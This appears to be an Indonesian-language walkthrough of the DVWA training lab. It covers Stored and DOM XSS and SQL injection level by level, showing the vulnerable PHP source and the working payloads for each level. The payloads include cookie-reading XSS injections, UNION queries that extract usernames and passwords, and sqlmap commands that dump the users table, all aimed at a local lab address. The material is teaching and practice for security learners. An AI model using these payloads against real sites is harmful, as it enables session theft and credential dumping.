​
    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
​
    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    //mysql_close();
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Setelah saya coba-coba dan melihat *source code* pada form **Name**, tag `<script>` tidak diizinkan. Sedangkan pada form **Message** awalan tag (yang mengandung `<`) juga tidak diizinkan.

Sepertinya celah XSS terdapat pada form **Name**, karena kita bisa saja memanggil JavaScript tanpa menggunakan tag `<script>`. Tetapi maksimal inputan pada form **Name** ini hanya 10 karakter. Untuk mengatasi hal tersebut kita bisa merubah nilai `maxlength` nya dengan menggunakan *inspect element*.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzpgZF_KC4sPanQSj0r%2F-Lzql1vtMds7GuY9caIp%2Fimage.png?alt=media\&token=03e918db-4092-4789-9fa2-9293ed3daf14)

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-nX-buHPf2O5F5U5ij%2F-M-nkCydHNzRZPC9OqVV%2Fimage.png?alt=media\&token=d5aad2bf-894c-4c47-875a-3f0ae6c7ab94)

Sekarang kita bisa menyisipkan XSS pada form **Name**.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

**Pertama-tama**, kita buat terlebih dahulu agar form **Name**-nya bisa diinputkan oleh banyak karakter.

**Kedua**, kita inputkan *payload* yang tidak menggunakan tag `<script>`, seperti berikut:

```markup
<body onload="alert(document.cookie)">
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzpgZF_KC4sPanQSj0r%2F-LzqmjPFbkcIGYNvhEDU%2Fimage.png?alt=media\&token=f68b3485-662c-4fe3-998e-e8d3d0f13057)

Dan **yup!** Kita berhasil menyelesaikan **Stored XSS** pada level medium ini.

Tetap Semangat! Happy Hacking! 🍻


# High

XSS (Stored) level High on DVWA

Di bawah ini adalah *source-code* dari XSS (Stored) level high di DVWA.

```php
vulnerabilities/xss_s/source/high.php
<?php
​
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
​
    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
​
    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    //mysql_close();
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada *source code* di atas terlihat bahwa *pattern* **"\<s\*c\*r\*i\*p\*t"** tidak diizinkan pada form **Name**. Tetapi, pada level medium pun kita tidak menggunakannya, sehingga kita bisa menggunakan cara seperti sebelumnya.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Kita akan coba seperti pada level sebelumnya, yaitu dengan membuat form **Name** bisa diisi banyak karakter, lalu diinputkan dengan *payload* yang sama.

```markup
<body onload="alert(document.cookie)">
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzpgZF_KC4sPanQSj0r%2F-Lzqof55NrkqqbXjmywW%2Fimage.png?alt=media\&token=15a8eab5-3527-439e-9828-2a5a56d1b439)

Mudah bukan? Kita harus teliti dan sering mencoba.

**Alhamdulillah!** Materi Stored XSS akhirnya selesai juga kita pelajari. Tetap semangat dan lanjut ke materi selanjutnya! 🔥


# DOM

Serangan ini terjadi jika web aplikasi menulis data ke Document Object Model (DOM) tanpa sanitization yang tepat. Penyerang dapat memanipulasi data ini untuk memasukkan konten XSS pada halaman web seperti kode Javascript yang berbahaya.<br>


# Low

XSS (DOM) level Low on DVWA

Di bawah ini adalah *source-code* dari XSS (DOM) level low di DVWA.

```php
vulnerabilities/xss_d/source/low.php
<?php
​
# No protections, anything goes
​
?> 
```

## Information Gathering <a href="#information-gathering" id="information-gathering"></a>

Jika dilihat dari *source code*-nya, developer belum membuat validasi apa pun, sehingga kita bisa dengan mudah melakukan serangan.

Oke, seperti biasa, pertama-tama kita akan melakukan *recon* terlebih dahulu pada website target. Terdapat menu *select* untuk pemilihan bahasa. Dan jika kita *view source* akan terlihat bahwa pilihan dari menu tersebut menggunakan JavaScript.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzgbM1FuyQgmjmyzl0g%2F-LzgeCvVQFk1Mrpv-Y9H%2Fimage.png?alt=media\&token=0b33b132-4f52-4312-bba1-f53e707024ee)

Singkatnya, fungsi [`document.write()`](https://www.w3schools.com/jsref/met_doc_write.asp) adalah untuk membuat [Document Object Model.](https://www.w3schools.com/js/js_htmldom.asp)​

Perhatikan, form ini menggunakan method `GET` dan menggunakan parameter **default**. Jika kita mencoba melakukan *request* dengan menekan **select**, maka yang kita akses adalah link seperti berikut:

```http
http://172.17.0.2/vulnerabilities/xss_d/?default=English
```

Tetapi apa yang terjadi jika kita membuat mengganti nilai dari parameter **default** tersebut menjadi *"Test"*?

```http
http://172.17.0.2/vulnerabilities/xss_d/?default=Test
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzjWm7ooXqMX6HDi6yo%2F-LzjbnynnWelT9UPBVcw%2Fimage.png?alt=media\&token=5c4e8ad7-d671-4646-80ab-5f0fa8b4b74d)

Terlihat bahwa teks tersebut akan ter-*print* di halaman web tersebut.

## Exploit <a href="#exploit" id="exploit"></a>

Sekarang kita akan melakukan *inject* pada parameter tersebut agar menjalankan *script* yang kita inginkan seperti berikut:

```markup
?default=<script>alert("Hacked")</script>
```

Kita sisipkan menjadi link seperti berikut:

```markup
http://172.17.0.2/vulnerabilities/xss_d/?default=<script>alert("Hacked")</script>
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzjWm7ooXqMX6HDi6yo%2F-LzjdVw7anUVZ7UfmjnA%2Fimage.png?alt=media\&token=feabb4f6-9bea-472e-8cc0-3c4980c58327)

Dan BOOM! *Script* tersebut tampil!

Pada *"kejahatan yang sebenarnya"* peretas akan mengirim link XSS tersebut ke victim untuk menjalankan *script* yang telah ia buat.

Kita jika bisa mendapatkan *cookie* dengan *payload* berikut ini:

```markup
<script>alert(document.cookie)</script>
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzjWm7ooXqMX6HDi6yo%2F-LzjdjwGPtgk7CgsoY2q%2Fimage.png?alt=media\&token=ab308fae-37aa-401f-87d4-71c42f0a0f8b)

Jika kalian melihat *view source* , maka kalian tidak akan menemukan *script* tersebut.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-yraRijg69tsjuWU8U%2F-M-z-BMI__CqDtUp6vEI%2Fimage.png?alt=media\&token=09556b5a-2445-4549-a273-7b4fd1013ab4)

Ini karena *script* tersebut menjadi *Document Object Model* bukan menjadi halaman HTML. Ini lah yang membuatnya sulit untuk dideteksi.

Gimana sampai saat ini sudah mengerti tentang DOM-based XSS? Cukup mudahkan? Coba kita lanjut ke tahap selanjutnya.

Happy Hacking!🍻


# Medium

XSS (DOM) level Medium on DVWA

Di bawah ini adalah *source-code* dari XSS (DOM) level medium di DVWA.

```php
vulnerabilities/xss_d/source/medium.php
<?php
​
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Secara visual tidak ada perbedaan pada level ini dan sebelumnya. Jika kita mengubah nilai dari parameter tersebut, maka akan tampil seperti sebelumnya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzjWm7ooXqMX6HDi6yo%2F-LzjlW-P9uZk1AmQOAu_%2Fimage.png?alt=media\&token=9cc55612-b6a3-4a72-a5e1-853aad57ae6b)

Perhatikan pada *source code* baris ke-8, bahwa terdapat validasi jika mengandung kata *"\<script"* pada nilai parameter **default**, maka akan di *redirect* ke parameter **?default=English**.

Untuk mengatasi ini kita harus mencari cara lain untuk menjalankan JavaScript tanpa menggunakan tag `<script>`.

Terdapat cara yaitu dengan fungsi `onload` pada tag HTML. Tetapi untuk melakukan hal tersebut kita harus tutup terlebih dahulu tag sebelumnya (di sini `<select>`) agar script yang kita *inject* bisa berjalan.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzgbM1FuyQgmjmyzl0g%2F-LzgpR4MRe3ZjaLeQXJI%2Fimage.png?alt=media\&token=33085df4-29e0-4b72-a14a-e78cd1930830)

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

*Payload* yang kita akan dibuat sesuai dengan hasil *recon* di atas. Sekarang kita akan menutup tag **\<select>** terlebih dahulu dan dilanjutkan oleh *script* yang menjalankan JavaScript seperti berikut:

```markup
?default=</select><body onload="alert('Hacked')">
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzjWm7ooXqMX6HDi6yo%2F-Lzjsmo62RGAViZiJ7Z-%2Fimage.png?alt=media\&token=db3a933a-6cd4-4ac6-9add-d5d0252bde27)

Perhatikan dari hasil *injetion* di atas, tag **\<select>** tertutup terlebih dahulu sebelum tag **\<option>** dan tag `<body>` memanggil fungsi JavaScript.

Kita juga bisa mendapatkan *cookie* seperti biasa:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-Lzjw2vnbgz2EXMb1Jkv%2F-Lzjwu_WNvzQ8UYic-6t%2Fimage.png?alt=media\&token=cadd3645-fceb-4ee5-a716-2dfb1280f36b)

Untuk melakukan serangan XSS, peretas harus paham tentang pola dari HTML website tersebut.

Mudah bukan? Happy Hacking!😁


# High

XSS (DOM) level High on DVWA

Di bawah ini adalah *source-code* dari XSS (DOM) level high di DVWA.

```php
vulnerabilities/xss_d/source/high.php
<?php
​
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
​
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
​
?> 
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini, developer sekarang menentukan *whitelist* untuk nilai dari parameter **default**.

Setelah mencoba berbagai cara, akhirnya saya mencoba untuk membuat parameter baru (di sini diberi nama **test**), dan hasilnya seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-Lzjw2vnbgz2EXMb1Jkv%2F-Lzjz_rYSa4d9-id-XXR%2Fimage.png?alt=media\&token=e326c3f3-d102-44e2-a7d4-31664e14e051)

Terlihat bahwa parameter baru tersebut akan ter-*print* ke halaman web tersebut. Ini bisa kita manfaatkan untuk melakukan *injection*.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Hasil dari pengamatan di atas adalah kita bisa menyisipkan script seperti berikut:

```markup
?default=English&<script>alert("Hacked")</script>
```

Jika dijalankan akan tampil hasil *injection* seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-Lzjw2vnbgz2EXMb1Jkv%2F-Lzk-hqFbY88Nv1iTPen%2Fimage.png?alt=media\&token=1fedf275-5823-4fb6-aa84-31267f656689)

Seperti biasa, kita juga bisa mengambil *cookie*-nya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-Lzjw2vnbgz2EXMb1Jkv%2F-Lzk-uu41EmkH38-BR5l%2Fimage.png?alt=media\&token=06f20f90-957e-4a6a-b0d7-683489a02dc9)

Selain menggunakan *payload* seperti di atas, saya juga menemukan cara baru dengan menggunakan *payload* berikut:

```markup
?default=English#<script>alert(123)</script>
```

**Alhamdulillah!** Kita telah menyelesaikan semua level dari XSS (DOM) di DVWA.😁​

Happy Hacking! 🍻


# SQL Injection

## Pengenalan

Berkenalan dengan SQL Injection

**SQL injection** sampai saat ini masih menjadi salah satu serangan yang banyak dilakukan oleh para peretas. Jenis serangan ini dapat menimbulkan banyak kerugian karena rusaknya database dari sebuah situs web atau pun aplikasi.

Peretas menggunakan teknik ini untuk mencuri informasi penting seperti username dan password, merubah database, memasukkan konten berbahaya, dan masih banyak lagi.

## Apa itu SQL Injection? <a href="#apa-itu-sql-injection" id="apa-itu-sql-injection"></a>

**SQL injection** adalah sebuah teknik hacking untuk mendapatkan akses pada sistem database yang berbasis SQL. **SQL** sendiri merupakan singkatan dari **Structured Query Language** yaitu bahasa yang digunakan untuk membuat serta mengolah database.

Dalam melakukan teknik *SQL injection,* para peretas akan memanfaatkan celah keamanan pada web atau aplikasi. Mereka akan memasukkan perintah-perintah SQL ke dalam database mesin server sehingga mereka dapat masuk ke dalam sistem tanpa harus memiliki username dan password administrator.

*SQL injection* ini dapat terjadi karena beberapa hal seperti kurangnya penanganan terhadap karakter-karakter seperti tanda petik satu atau karakter *double minus* yang dapat menyebabkan suatu aplikasi dapat disisipi peretas dengan perintah SQL.

## Apa itu SQLMap? <a href="#apa-itu-sqlmap" id="apa-itu-sqlmap"></a>

**SQLMap** adalah tool *open source* yang mendeteksi dan melakukan *exploit* pada bug *SQL injection* secara otomatis. Dengan melakukan serangan *SQL injection* seorang peretas dapat mengambil alih serta memanipulasi sebuah database di dalam sebuah server.

## Bagaimana Mencegah SQL Injection? <a href="#bagaimana-mencegah-sql-injection" id="bagaimana-mencegah-sql-injection"></a>

Ada beberapa yang bisa dilakukan, diantaranya yaitu:

* Validasi user input, sebaiknya melakukan filter input *SQL comments* dan spesial karakter (`‘;:”`)
* Membatasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program. Sehingga input box tidak dapat diinjeksi dengan perintah yang panjang.
* Menonaktifkan fasilitas-fasilitas standar seperti *Stored Procedures*, *Extended Stored Procedures* pada *SQL queries*.
* Menonaktifkan atau menyembunyikan pesan *error* SQL server pada web.
* Memonitor *log error message* SQL server.


# Non Blind

SQL Injection (sesi non blind)


# Low

SQL Injection level Low on DVWA

Di bawah ini adalah *source-code* dari *SQL Injection* level low di DVWA.

```php
vulnerabilities/sqli/source/low.php
<?php
​
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
​
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Terdapat form yang digunakan untuk memasukkan User ID. Jika saya coba inputkan '`1`', maka akan muncul seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JlZ-WsS0hZgRz1-3F%2Fimage.png?alt=media\&token=1a0eafde-7587-4f39-9689-d811bd05ff80)

Untuk mencari tahu apakah form ini memiliki celah *SQL Injection*, kita bisa mencobanya dengan meng-inputkan kutip satu (`'`) .

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JmC7AhSV9VS_969t9%2Fimage.png?alt=media\&token=617e3cbc-35a1-4701-aac1-2edaea5ac193)

Dan hasilnya akan terdapat error. Ini berarti kita bisa melakukan *SQL Injection*.

Jika anda bertanya kenapa hasilnya bisa error? Jawabanya adalah karena ketika kita menginputkan kutip satu, maka *query* yang dijalankan oleh server akan seperti berikut:

```sql
SELECT first_name, last_name FROM users WHERE user_id = ''';
```

Terlihat bahwa ada kutip satu yang tidak memiliki pasangannya, sehingga membuat *query* menjadi *error*.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Setelah ditentukan terdapat celah keamanan, kita coba inputkan *payload* berikut:

```sql
%' or '0' = '0
```

Sehingga hasil *query* yang dijalankan server adalah:

```sql
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0' = '0';
```

Ini akan mengakibatkan semua *record* tersedia pada tabel tersebut akan ditampilkan.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JparOoW_kBP8Anglm%2Fimage.png?alt=media\&token=74ca2e8d-3ea1-4312-bd88-29b05c04e3c1)

### Melihat Versi DBMS <a href="#melihat-versi-dbms" id="melihat-versi-dbms"></a>

Kita juga bisa memodifikasi *payload*-nya. Contohnya seperti berikut untuk melihat informasi versi DBMS yang digunakan.

```sql
%' or 0=0 union select null, version() #
```

Tanda`#` pada sql berfungsi untuk membuat komentar.

Sehingga hasil *query* yang dijalankan server adalah:

```sql
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #';
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-Jr4Lk6GnPvnU5Sf5l%2Fimage.png?alt=media\&token=f89697c0-7c93-4872-840b-85956e9d331c)

Terlihat bahwa DBMS yang dipakai adalah MariaDB versi 10.1.26.

### Melihat Tabel yang mengandung kata 'user' <a href="#melihat-tabel-yang-mengandung-kata-user" id="melihat-tabel-yang-mengandung-kata-user"></a>

```sql
%' or 0=0 UNION SELECT null, table_name FROM INFORMATION_SCHEMA.tables WHERE table_name LIKE 'user' #
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M04-mxYsCO8P9aLPSLv%2Fimage.png?alt=media\&token=bc0e93d3-8087-4e73-9d51-952e0000c174)

### Melihat Kolom dari Tabel 'users' <a href="#melihat-kolom-dari-tabel-users" id="melihat-kolom-dari-tabel-users"></a>

```sql
%' UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users'#
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M040DmosJgz2rd_6EJs%2Fimage.png?alt=media\&token=13961fc8-b7f2-4a4c-bd09-a198d45e9f51)

### Mendapatkan users dan password <a href="#mendapatkan-users-dan-password" id="mendapatkan-users-dan-password"></a>

```
%' UNION SELECT null, concat(user,0x0a,password) FROM users#
```

**0x0a** pada hexadesimal berarti **10**, dan jika dirubah menjadi ASCII berarti *newline* (lihat [di sini](http://www.asciitable.com/)).![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M041TxjJ8HrI0E2h0cv%2Fimage.png?alt=media\&token=3eedd61b-b439-4df8-82f1-e73f1556f3e7)

### Menggunakan SQLMap <a href="#menggunakan-sqlmap" id="menggunakan-sqlmap"></a>

Jika kalian tidak mau bingung dengan *query* di atas, kita bisa menggunakan tool [SQLMap](https://github.com/sqlmapproject/sqlmap).

Pertama-tama kita tentukan terlebih dahulu method yang digunakan. Pada kasus ini, method yang digunakan adalah `GET`. Dan *endpoint* pada kasus ini adalah:

```http
http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#
```

**Cek database yang tersedia:**

Langsung saja kita jalankan SQLMap seperti berikut untuk mencari tahu database yang tersedia:

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" --dbs
```

Keterangan:

* `-u` digunakan untuk menentukan URL atau *endpoint*.
* `--cookie` digunakan untuk menetukan *cookie*.
* `--dbs` digunakan untuk melihat database yang tersedia.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JwOC6iuBZn2ezeIKD%2Fimage.png?alt=media\&token=cc6e162d-22b0-4319-a4fc-9dd14f878512)

Hasilnya terdapat 2 database yang tersedia, yaitu **dvwa** dan **information\_schema**.

**Cek daftar tabel dari database dvwa:**

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa --tables
```

Keterangan:

* `-D` digunakan untuk menentukan database.
* `--tables` untuk melihat daftar tabel dari database (`-D`).

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JxVXlcJOCks7JZG6e%2Fimage.png?alt=media\&token=38723a18-1a16-4e18-b9f3-1e66c05172ec)

Terdapat 2 tabel, yaitu **guestbook** dan **users**.

#### Cek kolom yang tersdia pada tabel users: <a href="#cek-kolom-yang-tersdia-pada-tabel-users" id="cek-kolom-yang-tersdia-pada-tabel-users"></a>

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --columns
```

Keterangan:

* `-T` adalah tabel yang digunakan dari database `-D`.
* `--columns` adalah mencari kolom yang tersedia pada tabel `-T`.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JyVflxHQRUDchGigl%2Fimage.png?alt=media\&token=82be35e7-9e65-482a-846f-838dfe5a19f1)

Terlihat ada beberapa kolom yang tersedia, oke kita lanjut dengan melakukan *dump* pada data tersebut.

**Dump tabel users:**

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --dump
```

Keterangan:

* `--dump` akan meng-crack password yang di-hash. Anda akan ditanya apakah akan menggunakan *dictionary* yang ada di SQLMap atau *dictionary* kita sendiri.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-K-5javHjjePkOfanK%2Fimage.png?alt=media\&token=d5757148-dc33-4539-9c6d-4596e6db3a7f)

Dan hasil nya adalah seperti gambar di atas.

Happy Hacking! 🍻[<br>](https://n3wbye.gitbook.io/dvwa/sql-injection/pengenalan)


# Medium

SQL Injection level Medium on DVWA

Di bawah ini adalah *source-code* dari SQL Injection level medium di DVWA.

```php
vulnerabilities/sqli/source/medium.php
<?php
​
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
​
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
​
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
}
​
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
​
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini form yang digunakan adalah bertipe **select** dan method yang digunakan adalah `POST`. Sehingga untuk mencoba merubah parameter-nya, kita bisa menggunakan tool Burp suite seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LCuMPG2sHfrhHhmgU%2Fimage.png?alt=media\&token=c4d529a5-7959-4dd0-9519-6e48ceff908b)

Jika kita ubah nilai parameter `id`-nya menjadi `'`, maka pesan *error*-nya akan berbeda dibanding level sebelumnya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LJzucZoVx42ak3IWz%2Fimage.png?alt=media\&token=8493550c-1d35-4ec3-9478-24660a429f07)

Tampilnya pesan *error* ini sudah menandakan bahwa terdapat celah *SQL Injection*. Anda bisa langsung menggunakan tool SQLMap atau secara manual.

Ada penambahan *backslash* (`\`) sebelum karakter `'`. Ini dikarenakan fungsi `mysqli_real_escape_string()` yang melakukan *encoding* pada spesial karakter (bisa dibaca [di sini](https://www.w3schools.com/php/func_mysqli_real_escape_string.asp)).

&#x20;Sehingga sekarang kita tidak bisa menggunakan *payload* pada level sebelumnya.

```
%' or '0' = '0
```

Maka dari itu kita harus menggunakan cara lain, yaitu mencari *payload* yang tidak menggunakan spesial karakter. Jawaban yang saya temukan adalah menggunakan **`union`**!

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Kali ini kita akan menggunakan `union` (di sini saya contohkan untuk menampilkan versi DBMS) sebagai *payload*-nya.

```
1 UNION SELECT null, version() 
```

Sehingga hasilnya adalah seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LPD-H20wTyAER22Fq%2Fimage.png?alt=media\&token=422055d2-3cd2-4403-a92a-f65e3c02362a)

DBMS yang digunakan adalah MariaDB 10.1.26.

Sebagai pembiasaan menggunakan *query* `union`, praktekan *query* yang pada level sebelumnya dipelajari.

### Menggunakan SQLMap <a href="#menggunakan-sqlmap" id="menggunakan-sqlmap"></a>

Salah satu cara termudah untuk menggunakan SQLMap (apa lagi dengan method `POST`) adalah dengan bantuan Burp suite, yaitu dengan meng-*intercept request* lalu di salin ke suatu file (contohnya **r.txt**).

```http
r.txt

POST /vulnerabilities/sqli/ HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://172.17.0.2
Connection: close
Referer: http://172.17.0.2/vulnerabilities/sqli/
Cookie: lang=en-US; PHPSESSID=deanteiid9ignilfjtiak17op2; security=medium
Upgrade-Insecure-Requests: 1
i_like_gitea: 11session
​
id=1&Submit=Submit
```

Selanjutnya adalah menjalankan SQLMap:

```
sqlmap -r r.txt --dbs
```

Dan hasilnya akan seperti berikut:

